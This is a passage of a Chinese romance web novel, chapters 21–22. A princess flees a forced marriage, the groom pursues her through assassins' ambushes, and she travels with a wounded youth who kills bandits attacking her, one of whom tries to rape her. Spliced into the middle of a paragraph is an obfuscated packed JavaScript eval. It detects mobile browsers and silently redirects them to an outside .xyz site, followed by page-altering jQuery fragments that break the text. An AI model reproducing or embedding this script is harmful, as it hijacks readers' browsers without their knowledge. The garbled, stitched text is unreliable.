谢陵只有在特别严肃时,才会唤商晏一句先生。 商晏自然不敢欺瞒他,说道:“半个时辰前,公主的御驾在东直门遭遇刺客伏击,与那天的是同一伙刺客,萧校尉负伤严重,公主也被刺客劫走。” “往哪个方向去的?” “城南” 商晏话音未落,谢陵便让风浅去府中集结人手,而他自己径直掉转马头,毫不犹豫挥鞭策马,疾风而去。 21. 第二十一章 被扔下王家的送亲队伍,你看看我,我瞅瞅你,皆不知该如何是好,新郎当众跑了,难不成要把自家小姐接回去? 商晏早料到谢陵会是这个反应,所以一开始便不让人通传,至少先把王家姑娘接回府拜堂,日后还有转圜的余地,可纸终究包不住火,眼下连他也无计可施了。 商晏无可奈何走到花轿旁,恭声道:“请王姑娘先行下轿入府,王爷有要紧事,晚一点才会归来。” 王若楚已从周遭百姓的议论声中得知了谢陵的离去,如鲠在喉,短时间有些难以接受,其实她早就察觉到了,谢家哥哥与从前完全不一样,甚至心里还装着别人。 王若楚知道,记忆中那个温润如玉、处处照顾自己的陵哥哥,因为那场祸事,永远从这世间消失,再也回不来了。 往常那个看着脆弱娇怯的她,却在此时振作起来,吩咐轿夫回王宅。 喜娘一脸为难:“小姐这……哎呀,再等等吧,别叫人看笑话,王爷兴许一会儿就回来了。” “回去。”王若楚又重申了一遍,语气比刚才重些。 倘若未来夫君心里最要紧的不是自己,就算嫁过去只会吃尽苦头,这是昨夜临睡前,娘亲教给她的道理,出门时,爹爹也曾说过,倘若觉得委屈,可随时回家。 现在她只想回家。 是她错了,什么日子三个人过也行,不过是她在欺骗自己,她承认自己就是小气自私,根本容不下第三个人,也做不了宽宏大度的临王妃。 望着花轿启程回去,商晏虽然心急,神色却还算镇定,倒是一瘸一拐地陆回从门里出来,一脸担忧问道:“军师你说,这门婚事是不是黄了?” 商晏摇头,他也说不准,“如今走一步看一步。” * 沈迟驾驭的马车,毫无阻碍出了城门,一路往南而下,前半夜他一直在赶路,见追兵久久没跟来,料想暂时安全了,便找了个隐蔽的林子停下喂马。 闻梨透过窗,看着沈迟低头喂马的背影,喜悦的心绪逐渐变得平缓,她始终没忘记与沈迟的交易,既然他帮自己逃离的玉京,她也该履行承诺告诉他邑王的死因。 可闻梨摸不准沈迟的脾性,随便编一个只怕骗不了他,若说出真相,他会不会一怒之下把她又抓回去?跟进大牢相比,还不如嫁给谢陵,同样是失去自由,至少后一个不用挨饿受刑。 “公主要下来透透气吗?还要赶一夜的山路,明早才会有歇脚的地方。”沈迟喂完了马,走过来又补充道:“公主放心,这里不会有追兵。” 闻梨掀帘下车,稍微舒缓下筋骨,不动声色打量周遭的环境,此地是密林深处,草木葱郁,藤蔓缠绕,只有官道能够通行,而且山的那边不时传来野兽的低吼声,十分瘆人。 闻梨只好歇了想要背着沈迟偷偷逃跑的心思。 “今天街上的刺客是沈公子引来的?” 沈迟摇首:“不是,我只派人拦了路,在另一处设了埋伏,那些刺客想必是公主与临王上次遇见过的,误打误撞帮了臣的忙。” 他一向动手,首要考虑的是百姓的安全,那些火球砸伤了不少看热闹的百姓,以及送亲队伍里的人。 闻梨朝沈迟郑重一拜:“多谢沈公子出手相救,我无以为报,倘若他日再相遇,必报公子大恩。” 沈迟却道:“公主言重了,何况臣本就有私心。” 闻梨知道,沈迟所说的私心便是指邑王的死,她正犹豫着不知如何开口,沈迟接下来说的话,却令她心头一紧,不自觉握紧手心藏着的石块。 “邑王其实是被公主所杀,是吗?”他目光灼灼地看向她。 闻梨沉默了,一时忘记要狡辩,回过神来却已为时已晚,现在才辩驳,无异于此地无银三百两,如何糊弄得住沈迟。 但她好奇的是,既然沈迟已经猜到她是凶手,为何还肯帮她逃离玉京?难道是他碍于谢陵的面,没办法对她进行审问? 闻梨的心中更紧张了,良久才道:“沈公子为何会怀疑是我?” 沈迟不缓不慢道:“因为那根簪子,臣说过要当证物保留,但那天夜里,簪子却被临王的人偷走了,公主有所不知,臣只给公主一人看过那根金簪,旁人如何能得知在臣那里?” 闻梨试图稳住心神:“我思念亡母心切,沈公子既然不肯还给我,我找临王帮我拿回,也无可厚非吧?” 沈迟却是一笑,意味深长道:“公主那天真的看清楚了吗?臣手中拿着的金簪果真是虞妃的遗物?” 闻梨瞪大眼,那日忽而被沈迟拦住,她心里本就慌乱,只见簪子形状相似,根本没细看是不是真的,更可怕的是,她现在仔细回想那根簪子的样式,却发现脑海空空,金簪的细节一概想不起来。 “公主倘若真的思母心切,又怎会认错亡母的遗物?”沈迟说罢,从怀里掏出真正的金簪,“公主这回可认清楚了?” 闻梨瞧见金簪的刹那间,心口像是被什么东西堵住,还是觉得这簪子陌生,是又好像不是。 有关母妃的遗物就只剩下这簪子,她一向放在梳妆盒的最底层,很少会拿起来看,若不是那天沈皇后派人搜她的寝屋,拿了此簪来刺她的手,她几乎快忘记还有这么个东西。 她怨恨母妃将她仍在宫里自生自灭,连带着恨这根金簪,固执地认为看不见就能忘记那些痛苦的记忆。 见闻梨久久不语,沈迟说出了藏在心底多年的秘密:“那年夏天,臣随家人进宫赏荷,却看见一个比臣小几岁的孩童跌进莲花池中,那孩童才四五岁大,为了给虞妃采莲花,差点淹死,被臣救了上来。” “当时臣牵着那孩童的手,发现烫得厉害,她的小脸煞白,却还是强颜欢笑把舍命采来的莲花献给虞妃,这孩童的双亲非常高兴,更加恩爱和睦,可他们没注意到自己女儿发烧了,公主您说,这个孩童长大后,真的会视亡母的遗物为珍宝吗?” 脸颊冰凉,闻梨才意识到自己竟然在流泪,“沈公子到底想说什么?” 沈迟上前一步,递还了金簪,“马儿想必是休息够了,请公主上马车,后半夜还有一程路要走,臣得即刻赶回去,否则引得临王怀疑,公主就走不远了。” 闻梨接过金簪,神情茫然无措:“为什么?你不是已经知道我是杀害邑王的凶手吗?为何还要帮我?” 沈迟笑道:“臣一早就说过,帮助公主是臣的私心使然,邑王害死多条无辜的性命,死不足惜,臣虽搜集了邑王的许多罪证,却碍于他的权势,没法将他绳之以法。之所以一直追查他的死因,一是想知道真相,二则看看凶手是否为正义之士,倘若是,臣会尽量帮其避开追捕。” 另一个原因沈迟没有明说,簪子的事情是姑母沈皇后告诉他的,姑母希望他能利用此事要挟闻梨,可他不愿这么做。 而且他心里也清楚,若不是姑母授意,闻梨公主怎会到邑王的船上去?姑母此举,与穷凶极恶的邑王有何分别? 闻梨紧绷着的身躯此刻软下来,砰的一声闷响,连带着手里的石块也落了地。 沈迟见状,一本正经道:“公主的报恩方式……臣不太认同。” 而后,沈迟便教闻梨如何驾驭马车,“这马儿温顺聪明,公主不需费多大劲就能掌握。” 紧接着,他从马车里拿出一个包袱,包袱里有京兆府通发的路引文书、身籍、州县地图等物,还有匕首、蒙汗药、金疮药,以及一些盘缠,最底下还有两张人皮面具,他演示了一遍佩戴的方法,戴上后果然改变了面部特征,很难辨别其原先的容貌,但此物不能遇水,他再三叮嘱闻梨。 闻梨目瞪口呆,一边觉得沈迟见多识广,考虑周全,一边将他的话默默记在心里。 沈迟:“那我们就此别过,山遥路远,希望公主得偿所愿,按照自己的心意去活。” 闻梨眼圈微微有些热,心里很是感激,朝沈迟道别:“沈公子的恩情,我没齿难忘,再见,盼君珍重。” 二人道别后,沈迟不再耽搁,从密林里牵出早就备下的马儿,朝来时的路策马而去。 闻梨坐上马车,第一次尝试赶车,果真如沈迟所言,马的脾性极温顺,还很有灵性,闻梨只是轻轻牵住缰绳,马儿便自己往官道上行去。 夜风抚过她的脸,凉飕飕的很清爽,远处的山峦重叠,逐渐被她抛在身后,车轮呼呼滚过草地,给这寂静的山林添了几分热闹的声息。 起初还有月光照亮前行的路,后半夜,月儿藏进云端,闻梨不由得放缓速度,在车前挂起两盏灯,摸着黑慢慢前行。 天空开始下雨了,雨滴密密匝匝砸下来,带着点尘泥的味道,闻梨从马车里翻出了避雨的蓑衣,再次感慨沈迟的细心,她手里握着缰绳,雨滴顺着她的手指,往胳膊里流淌,濡湿了大半袖子,却不觉得泥泞和难受。 终于逃出来了,她兴奋地想道,终于摆脱了那群令她讨厌的人,往后走哪条路由她自己决定。 * 谢陵没等府兵集结,先行赶往南面的城门,从守城的侍卫那里打探得知,半个时辰前却确有一辆宫中的马车从此门经过。 谢陵握紧缰绳,用鞭子抽打马背,疾驰奔向城外,未多时便遇到了仍在追击刺客的萧大郎。 萧大郎一见谢陵,不顾自己的伤,跪地请罪,将迎亲时发生的事,一字不漏说给了谢陵听。 “刺客逃进那片林子便没再出来,属下打听过,有人称前两日,曾看到一群不明身份的人进过林子,待了很久才出来,属下料定刺客在里面布好陷阱,因而不敢擅自冒险闯入。” 谢陵脸色愈发阴沉,让萧大郎在此等援兵,随即带着余下没受伤的府兵,沿地面刚留下的车辙印追去。 车辙印一直延伸至树林深处,谢陵一行人先后遭遇箭雨、暗器、毒雾的袭击,这样的小技俩对于长年征战沙场的谢陵,以及他身后骁勇善战的府兵来说不足为惧。 天色渐暗,谢陵带人追到一处视野开阔的空地,地面中央停放着闻梨平时乘坐的那辆马车,四周无人,亦无声息,明知是刺客设下的陷阱,谢陵还是打算过去看一眼,确保闻梨还活着。 谢陵掀开车帘探查的刹那间,并没有想象中的偷袭,待他看清楚车里的情形,蒙着喜帕的新娘倒在软榻上,彷佛晕了过去。 他心中一紧,毫不迟疑过来扶住新娘,刚触碰到新娘的胳膊便发现了不对劲,这嫁衣底下分明是男子结实的臂膀。 谢陵此时撤手已经来不及了,结结实实挨了‘新娘’一刀,幸而‘新娘’蒙着喜帕,没有找准谢陵的要害之处,只是割伤了他的肩臂。 谢陵反应极快,手中剑已出鞘,将这戏弄自己的刺客一剑穿心,大红鸳鸯藤喜帕悄然滑落,底下是一张渐渐失去血色的男人的脸。 与此同时,马车外传来了打斗声,谢陵气恼地掀帘而出,四面已经围上来一群刺客,他粗略扫了一眼,大约有五六十人,想来刺客已经倾巢出动了。 谢陵面含怒气,冷眼望向刺客首领,低沉的声音夹杂着几分瘆人的戾气:“她在哪里?” 他的手里紧紧握着剑,却站着不动,颇有种山雨欲来前的压迫肆虐感。 刺客首领大喝一声,朝谢陵挥刀砍来:“谢狗拿命来!” 刺客们一拥而上,皆想取谢陵首级,两伙人打得昏天暗地,惊散了林中栖息的鸟儿,百步之外连豺狼猛兽都不敢靠近。 刺客们先前已在城里打了一架,体力渐渐跟不上,明明人数是对方的两倍,却迟迟没能杀尽对方,一直拖到谢陵的援兵赶到,才想着要撤退,可谢陵根本不愿意放他们走。 很快,刺客们被剿杀得只剩下四五个人。 谢陵发了狠,不顾身上流血的伤口,掠身过去将刺客首领踩在脚下,用剑抵在刺客首领的喉间,沉着脸质问:“她被你们藏在了哪里?” 少年刺客见状,急切喊了一声“陈叔”,想过来救人,却听到陈叔红着眼怒吼一声:“快走!带少主走啊!” 少年刺客身边的同伴,也都纷纷湿了眼眶,只好点了少年刺客的昏穴,架起他往南边逃去,其中有两个刺客为了掩护少年撤退,也都倒在了府兵的刀下。 谢陵吩咐赶来的萧二郎继续追击敌人,自己却虚脱地跪倒在地,猛吐了口血,原来剑上有毒,一旁的刺客首领见了,狰狞大笑:“谢狗,你也有今天!” 风浅赶忙过来将人扶住,谢陵却要风浅扶自己到马车边,再一次登上马车。 谢陵逐渐回过味来,倘若闻梨真的在刺客手里,刺客何必派人假扮新娘,直接用闻梨要挟他岂不是更便宜? 只有一种可能,刺客劫走马车时,闻梨已不在车中,但萧大郎明明亲眼看到闻梨上了马车,那她人究竟是什么时候消失的? 此刻已是半夜,月亮不知何时藏进云端,谢陵借着火折子仔细观察车壁,推开刺客尸首时,果然瞧见了马车底板的那个暗洞,以闻梨的身形,从那个地方逃出去绰绰有余。 夜里开始下起雨来,雨点劈里啪啦砸向车顶,远山的天边电闪雷鸣,这场雨来得又急又汹,冲涮着地面的血迹,很快流淌成溪流,冲垮堆积的尸山。 谢陵缓缓走在雨中,一身大红喜袍被刀划得残缺破败,翘起来的残边还在风里打着旋儿,他的手里握着剑,雨水顺着剑尖汇聚流下,又被风吹散成水花,落进泥里消失不见。 谢陵脸上不再是愤怒暴戾的神情,取而代之的是一种惆怅迷茫的情绪,心底空落落的,他好像又回到了从前孤僻过活的那段日子,更加奇怪的是,杀戮和鲜血已经不能让他得到快感和满足。 他在心里渴望着有什么东西赶快出现,能转移这种令他越陷越深的危险心境,可放眼望去,低空的闪电,磅礴的雨幕,黑压压的山林,每一处都令他神思紧绷,压抑多年的自厌情绪已经濒临崩溃。 这么些年,叔父要他时刻谨记谢家的仇怨,可昔日仇人已死,他虽心中有恨,这样的恨却是麻木的、偏执的、厌倦的,难道自己挥下的每一刀,杀掉的每个人,能让仇敌复活,让他再杀一次吗? 年少时的他想不明白,也很痛苦迷惘,不知该怎样排解心头积压的仇怨,只是机械地按照叔父的意思去做,久而久之,他将自我情绪压至最低限度,唯有两点,活下来,听叔父的话。 叔父是他在这世上唯一的亲人,哪怕叔父要自己屠尽一城老小,他也应该毫不犹豫去做。 闻梨的出现,轻而易举挑动他那根仇恨的心弦,一开始他是想杀了她,可陆回说得没错,那时的她才多大,恐怕连事都记不清,何况望着她那双无辜的眼睛,不知怎的,他突然有点下不去手。 那天夜里,他开始尝到了一点除了杀人之外的甜头,不仅仅是身体上的愉悦,更多的是,反抗叔父命令后带来的解脱感。 尽管最后,他还是迫于叔父和时局的压力,娶了王家姑娘为妻,但至少他争取到了闻梨,不知不觉中,他的注意力总是会过多放在她身上,担心她被人欺负,不喜她跟别的男人说话。 她明明说过,愿意一生一世伺候他,他为她屡次违抗叔父的命令,挨了多少次鞭刑,可她却三番五次想逃走,这次还真让她逃走了,好没良心的女人。 谢陵平生第一次被一个女子玩弄了感情,他下定狠心,无论闻梨逃到哪里,他绝不放过她。 * 天色朦朦亮时,闻梨赶着马车驶出了泥泞的山野荒林,视野逐渐变得宽阔,道路两侧是绿油油的农田,田梗上散落着几间低矮的茅草房,房门前有鸡犬相吠,房顶有炊烟袅袅升起,再往前走一段距离,泥石建造的房屋紧密排布在一起,扛着锄头劳作的农户也多了起来,不时向闻梨投来好奇的目光。 闻梨早在雨停之际,便戴好了面具,即便如此,在被人注视的时候,她的心中难免还有些紧张,当即轻拽缰绳,让马儿加快脚步。 如昨夜沈迟所言,眼前的镇子规模小,不过百来十户人家,仅有一条青石板铺成的街道,时辰还早,街上就开了一间烧饼铺,闻梨粗着嗓音问店老板:“店家,此地离白云城有几天的脚程?” 店家打量一眼闻梨,不耐烦地回说要走一个多月,又问她吃不吃饼,吃的话他就告诉她往哪走。 闻梨深知出门外在不能露富,便瞅着那烧饼,咽了咽口水,先是摇头,后又从腰间费劲地摸出五个铜板,递给店老板。 店老板哂笑道:“客官,五个烧饼可撑不了一个月。” 闻梨见状,便从鞋底又摸出三个铜板,十分不舍地拿给店老板,店老板这才慢吞吞装好八个烧饼,刻薄道:“没钱出什么远门,可别饿死在半道上。” 闻梨默然接过烧饼,赶马继续前行,等驶出主街一段距离,她又停下马车,准备向路边的农妇再买点路上的吃食,那农妇却一脸痛恨地说,烧饼店的老板是个奸商,惯会欺负外地人,从镇上出发去白云城,三四天就够了。 闻梨朝农妇道了声谢,坐回马车上,暗自想道,算上这回,已是她第二次上当受骗,往后可不能再轻易相信别人,这宫外人的坏心眼不必宫中少,她打起精神,继续赶路。 闻梨走后不到半日,便有一群从玉京来的官兵,手里拿着闻梨的通缉令闯进镇上,烧饼铺老板颤颤巍巍说早上确实有个女子路过,还说要去白云城。 一路上,闻梨困了,就躺在马车里睡会儿,饿了,就拿起烧饼啃两口,遇到小溪,便将水壶装满。 转眼七八天过去了,闻梨还是没到达白云城,甚至连小村镇都没遇上一个,她一边拿着地图,一边挠头,实在想不明白,明明是照着地图走的,究竟是哪一步走岔了? 寻路无望,闻梨暂时回到马车上,看着包袱里就剩下一个烧饼,她拿起来啃了一口,舍不得吃完,心底寻思着,过了今日若还是遇不到人,自己恐怕要饿死在这深山里。 不远处,马儿正在撒欢地啃着地上的青草,此时节正逢雨季,一阵雨一阵晴,道路边的草肥美无比,还没有别的牲口来抢,闻梨惆怅地将马儿望着,可恨自己不是一匹马。 正当她出神地想着,山崖上忽然落下什么东西,滚到马儿身边,吓得马儿咧腿就往闻梨这边跑,闻梨牵住马,好生安抚了一阵,随后才将视线投向前方。 看清是具尸首的刹那间,闻梨也吓了一跳,连忙抬头往山崖看,该不会有凶恶之徒在此处抛尸毁迹吧?她胡思乱想了一通,并未瞧见哪有恶徒。 忽而,闻梨瞥见那‘尸首’动了动,她大着胆子上前探查那人的鼻息,果然见人还有活气,但气息微弱,还浑身是伤,方才从山崖跌落,怕是摔得神志不清,不一定救得活。 闻梨顺手掀开那人的帽兜,帽檐底下竟是一个清绝秀逸的少年,少年十七八岁左右,肤白似玉,微卷的刘海上缀着几滴水珠,那双剑眉因疼痛而紧拧,眼睫长而秀气,鼻梁沾了点血迹,唇色惨淡,还起了点皮,微微喘息的模样透着几分破碎感。 饶是见惯了玉京的俊男靓女,在荒无人烟的野外见到这样一张脸,闻梨还是觉得很惊艳,少年尽管身上痛得晕厥,但却一声不吭,样子乖巧极了,让闻梨想起小时候养过的一只漂亮猫儿,她在冷宫关了半年,后来听说猫儿饿死了,甚是可怜。 倘若放任少年不管,要么失血过多而死,要么夜里被野兽叼走,而且此路荒凉,很少有人路过,闻梨若是不救,少年必死无疑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233769|181148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>还是救吧,好歹路上有个伴,在这寂静无人的山野中,夜晚常有野兽靠近马车,虽说都被闻梨挥着树枝吓走了,但多一个人同行,也算壮壮胆,等到了有人的地方,就把他送到医馆。 闻梨没多犹豫,把少年搀扶起来,费力弄上马车,先拧干抹布,给少年净脸,擦身,在流血的伤口处涂抹了金疮药,又给少年喂了点水,给他披了件衣服,这才继续赶路。 一天一夜过去了,少年始终未醒。 翌日清晨,闻梨被刺眼的阳光晃醒,腹中饥饿实在难忍,她吃了半块烧饼,剩一半藏枕头下,看少年仍未有醒来的迹象,便打算去寻些水来喝。 大清早的河水还带着点山里的凉气,闻梨掬水搓搓脸,顿觉神清气爽,拧开水壶灌满水,扭头见河里似有鱼儿游动,便脱了鞋,去水深处捞鱼,结果鱼没抓到,却把自己弄得一身湿,最后只能悻悻而归。 闻梨拎着水壶走了,丝毫没注意到河对岸冒出几个持刀的山匪,山匪一路悄悄跟踪闻梨,见马车边只有她一个弱女子,纷纷大喜过望,几人前后夹击将闻梨与马车团团围住。 闻梨刚给少年喂了口水,抬头却见几个凶神恶煞的男人持刀靠近,她瞬间慌了神,到处去摸匕首的位置,但不记得被自己放哪里了。 见几个山匪不怀好意盯着自己,闻梨心中恐慌到了极点,大声呵斥:“你们想做什么?” 那领头的山匪猥琐笑道:“小娘子问我们想做什么?当然是想做你的情郎呀!好标志的小娘子,同我回去当个压寨夫人如何?” 那山匪说着,便一把抓住闻梨的脚踝,轻而易举将她整个人拽下马车,摁在地上,迫不及待就要解裤子,闻梨本就饿得没力气,根本挣扎不开,便只能流着眼泪骂畜生。 几个山匪哈哈大笑,牵马的牵马,望风的望风,都等着头儿完事,一起回山寨邀功。 另有一人掀开车帘,准备清点财物,却见马车里躺着玉貌仙姿般的美少年,山匪起了别样心思,女的轮不到他玩,这男的总该能让他快活一下吧,山匪伸手就想去脱少年裤子。 下一瞬,那少年忽然睁眼,眼眸闪过一抹厉色,手腕里不知何时多了把匕首,悄无声息将山匪抹了喉咙。 闻梨拼死反抗,一口咬上山匪的手腕,那山匪疼得龇牙咧嘴,面目狰狞地打了闻梨一巴掌,闻梨只觉头晕眼花,耳鸣声嗡嗡,失去了反抗的力气。 正当此时,忽有股温热的暖流滴落在她脸上,压在她身上的土匪一动不动,似乎没了声息,缓了好一会儿,闻梨终于看清土匪被人抹了脖子。 闻梨费劲推开土匪,坐起身子,才看到几个土匪横七竖八倒在地上,全都死了,而坐靠在马车边上的少年又晕了过去,手里握着的正是她那把匕首。 是少年救了她! 闻梨赶紧起身,将少年重新挪回马车里,牵回马儿,飞一般赶着马车,逃离了这边林地,几乎昼夜不停,生怕其他土匪找来。 又过了一天一夜,闻梨实在饿得赶不动车,再加上马儿也要休息,她这才在水源附近停下,大口大口喝水,但水不管饱,她饿得没招了,试过不知名野菜,实在咽不下去,又见树根边缠绕的藤蔓根硕丰硕,好不容易挖出一截,狼吞虎咽吃了下去,好歹腹中没那么烧得慌了,就是口感实在酸涩。 闻梨被酸得咬牙切齿,一扭头,正对上车里少年似秋水般清浅的眼眸,他正一脸疑惑望着闻梨。 少年早已醒来,在旁边静静看了闻梨半晌,显然不理解她为什么要挖那种东西吃? 闻梨欣喜起身,蹭了蹭手上的黄泥,取来水壶给少年喝。少年迟疑一瞬,还是接过来喝下,紧接着他又看到闻梨从包袱里拿出半张快要馊掉的烧饼,掰碎浸在洗干净的破碗里,那碗明晃晃递到他面前。 少年犹豫了一阵,毅然撇开脸,不接,尽管他也好几日没吃饭了,但实在吃不下这么不堪入目的东西。 闻梨见状,好心劝道:“这里没别的东西吃,还不知何时才能到下一个城镇,你不吃就会饿死,我就剩这么半张饼,全留给你了。” 少年眸光微动,原来她方才啃树根,是因为没东西吃?现在看来,他若不接过这碗碎烧饼,倒显得他不识趣了。 少年脸上依旧苍白,声音有些喑哑,但依稀听得出来他原本的声线很清润:“别吃这个了,我会打猎,你帮我准备一根韧性好的树根,然后再捡一些干柴回来。” 闻梨一听少年的话,先不管真假,心里顿时燃起希望,那双因为饥饿黯淡无光的眼眸重新亮起来,二话不说,便照少年的意思去做。 等她拾了堆柴火回来,惊奇地发现少年用木棍和藤蔓做了一把弓,又见少年捡起几支树枝,拿匕首削尖了一端,而后钻进密林,不知去向。 半个时辰不到,少年回来了,左右手各拎着一只野兔和野鸡,少年似乎有些累到了,将野鸡野兔往地上一扔,随即抬眼问闻梨:“会处理干净吗?” 闻梨一阵茫然,眼睛盯着野鸡野兔,没忍住问出自己困惑:“不是架在火上烤就可以了吗?” 少年只好拎着野鸡野兔起身,去河边处理了内脏等物,再回来时,见闻梨正趴在地上生火,火没燃着,她自己倒是弄得灰头土脸。 少年现在终于明白,为何她会饿肚子了,于是默默拿起一截柴火,用火折子点燃,慢慢往里添柴,火苗跳动得越来越旺,很快烧红了柴堆。 闻梨望着眼前的一幕,觉得很不可思议,火光映照在少年俊俏的脸庞上,给人一种很温馨可靠的感觉,看着少年架柴、翻烤野鸡的一套动作行云流水,明显是经常所为。 闻梨犹豫了一会儿,想起还没问过少年的姓名,便主动与他攀谈:“你叫什么名字?那日为何会倒在路边?” 少年添柴的手微微一滞,眼底划过一缕闻梨看不懂的复杂情绪,说话的声音虽沉了几分,但依旧平和耐心:“我叫徐渺,被仇家追杀,你呢,为何会一个人出现在这荒山野岭之中?” 闻梨没想到他会反问自己,一时噎住,总不能告诉对方自己是公主,从京城逃婚来的吧?要怎么解释自己的身份呢?灵机一动,闻梨含糊其辞说道: “公子唤我阿梨便可,刚嫁半年的丈夫死了,婆母贪图钱财,欲逼迫我改嫁给京城的恶霸当小妾,我走投无路,只能逃出家门。” 徐渺淡淡嗯了一声,脸上神情不变,闻梨看不出他究竟信不信,二人各自沉默。由于饥饿,闻梨肚子咕咕响个不停,当着徐渺的面,她顿觉脸面有点难堪,便起身说要去找柴火。 徐渺嘱咐道:“不要走太远,夜里不安全。” 闻梨心中一动,应声说好,在马车附近寻找着木柴,远远望着黑夜里那簇熊熊火光,多日来孤身行走在山野里那种寂寥与恐惧的心情被瞬间驱散。 想到山匪,她不禁一阵后怕,倘若自己当时没救那少年,说不定此时已经被绑进山匪窝,生死难料。 就是不知这少年会何时离开。 当闻梨抱着一堆柴火回来时,徐渺已经烤好了烧鸡,还用刀切成两半,他自己吃着小的那份,将大的留给闻梨。 时隔多日,闻梨终于吃到一口热乎的肉,心中甚是满足,这烤鸡表皮酥脆,内里多汁软弹,好吃到闻梨几乎要落泪了,这些受的苦难,在这份烤鸡面前不值一提。 与狼吞虎咽的闻梨不同,徐渺那边吃得很安静,似乎没什么胃口,不时抬眸看一眼闻梨,见她手里那份很快被吃干净,便拿起匕首,将自己吃过的地方切掉,又匀出大半给闻梨。 闻梨很不好意思地笑了笑,眼睛还盯着,手却已客套地推开,“你吃,原本就是一人一半。” 徐渺又递过去:“我不饿。” 闻梨不再推辞,风卷残云般吃完,抬头却见徐渺一脸欲言又止地盯着她看,难不成是自己嘴边有残渣?闻梨抬手擦了擦,脸上并未沾上什么东西。 “怎么了?” “没事。” 见徐渺移开目光,闻梨不再追问,收拾了一下残局,向往常那样在马车里铺好床褥,准备睡一觉。 另一个难题浮上闻梨心头,先前徐渺昏睡着,一起躺在马车里并未觉得不妥,但现在他醒了,孤男寡女躺在那么狭窄的车厢里,想想便觉得难为情。 她悄悄瞄了一眼火边的少年,心跳加速,其实一起睡车厢里也不是不行,中间能挂着几件衣服隔开,她扪心自问,肯定不会对徐渺做什么,至于徐渺,从一开始就十分谦逊守礼,分寸感掌握得很好,还救过她一命,应当是个正人君子。 闻梨一想到此,不自觉把被褥铺开了些,刚好够两个人躺下,然后磨磨蹭蹭朝少年走过去,鼓足勇气正要说话。 不及她开口询问,徐渺却先发话:“夜里也许会有野兽靠近,我还是睡在外面比较好。” 闻梨想半天的说辞皆被他一句话堵住,心中只好作罢,临睡前,她忽然从车帘下钻出脑袋,望向仍在火边坐着的少年,幽幽问了一句:“你会趁我睡着后离开吗?” 少年怔住,随后转过脸来,头一回朝闻梨笑了笑,眼神明亮得像天边闪烁的星辰,“放心睡吧,我哪都不去。” 闻梨脸颊一热,赶忙钻回马车,闭上眼,脑子里还浮现着少年刚才的笑容,他长得可真好看呐,不知不觉间睡了过去。 夜半时分,山野里静悄悄的,唯有几声远处的蝉鸣,和着风声穿过此间。 前半夜,闻梨睡得极安稳,到了下半夜,不知怎的,腹中忽然一阵剧烈绞痛,并不似葵水来时那般痛,她痛得满头是汗,掀开车帘,却见外边火堆已经熄灭,少年不见了踪影。 完了,她心想,自己还是被扔下了。 22. 第二十二章 闻梨忍着疼痛,爬下马车,想找水壶喝口水,但她疼得直冒冷汗,眼睛几乎不能视物,连哪里是火堆都分不清楚。 正当此时,忽而有只手从背后扶住她,另一只手托住她的胳膊,才将她从地面搀回马车上躺着。 徐渺安置好闻梨后,欲转身离开,却被闻梨揪紧袖角,只见她一脸生无可恋地交代后事:“等我死了,你能不能找个地方把我埋了,我的马车,马儿,还有身上的钱都给你了。” 徐渺扒开她的手,一脸忍俊不禁:“别害怕,你只是中毒了,我刚才闲着没事,给你找解药去了,一会儿吃下就好了。” “中毒?” “嗯,我没认错的话,你昨天吃的藤蔓有毒,好在没吃多少,中毒不深。” 闻梨这才讪讪松手,原来他没走,是去给她找解药去了,莫非他先前似乎有话想说,就是这个缘故? 不一会儿工夫,徐渺将碾碎的草药熬成汤汁,喂给闻梨喝下,闻梨只觉浑身暖融融的,腹中疼痛也有所缓解,慢慢又睡了过去。 直到日上三竿,山里的鸟雀叽叽喳喳吵个不停,闻梨才从梦中惊醒,刚才她又梦到谢陵拎着剑追来,为了惩罚她,谢陵还亲手逼她喝下令人肝肠寸断的毒药,幸好只是一场梦。 闻梨恍惚一阵,想起了昨晚细心照顾她的少年,掀帘一看,竟又不见少年身影。 不过这一次,她瞧见火堆旁留下一行徐渺用小木柴拼起来的字:勿寻,我没走。 闻梨心中安定不少,现在可就指望着徐渺狩猎而食,她想好了,即便徐渺有急事要离开,只要不是回玉京,她也会毫不犹豫跟他离开,否则真要饿死在深林里。 体内毒素已解,闻梨身上轻快不少,此时节正值盛暑,加上昨夜又是中毒,又是做噩梦,她只觉浑身湿黏黏的,仔细算算,快将近半个月没洗澡了,今天无论如何也得弄点水擦擦身子。 她拿了身衣裳,往河边走,特意找了处有灌木丛遮挡的河岸边,拨开草丛的刹那间,一道肩宽腰窄、薄肌清瘦的赤身赫然出现在她眼前,闻梨瞪圆眼睛,一时间忘了要回避。 徐渺也没想到,他明明故意弄出水声,她居然还若无其事地闯进来,甚至毫不避讳地打量着他的身材,耳根微微发烫,他自己倒先脸红了,清咳了一声,伸手拿来衣裳遮挡。 闻梨这才想起要守男女大防,立马背过身去,支支吾吾道:“对不起,我没看到你在里面,那、那个,需要我帮你望风吗?” 身后之人久久未语,闻梨心想道,他该不会是生气了吧?正欲回头,却见徐渺已经穿好衣裳走来她面前,他的湿发垂在两肩,少年棱角分明的脸廓平添了几分灵秀温婉的气质,乍一看像极了她母妃。 她的母妃年轻时,也不爱盘发戴花,喜欢自然垂落着长发,冬日躺在美人榻上晒太阳,心情好的时候,还会把刚学会走路的闻梨抱在腿上轻轻抚摸,可是后来,母妃性情大变,再不会那样轻柔地抱着她哄睡。 “我洗好了,你去洗吧。”徐渺出声打断了闻梨的回忆。 闻梨回过神,刚要问他怎知自己要洗澡,后意识到自己手里还捧着衣裳,也不难猜,只不过她越看徐渺身上的衣服,越觉得眼熟,这不是沈迟替她准备的换洗衣裳吗?徐渺怎么拿去穿身上了?除了袖口和裤裙短了许多,竟没有什么违和感。 难怪她方才觉得他身上的气质像自己母妃,原来是穿了女装的缘故。 徐渺见闻梨一直盯着自己身上的衣服,便解释道:“我的衣裳不能再穿了,便借了你的,稍微改宽了腰身,等到了城里,我买一套新的还给你。” 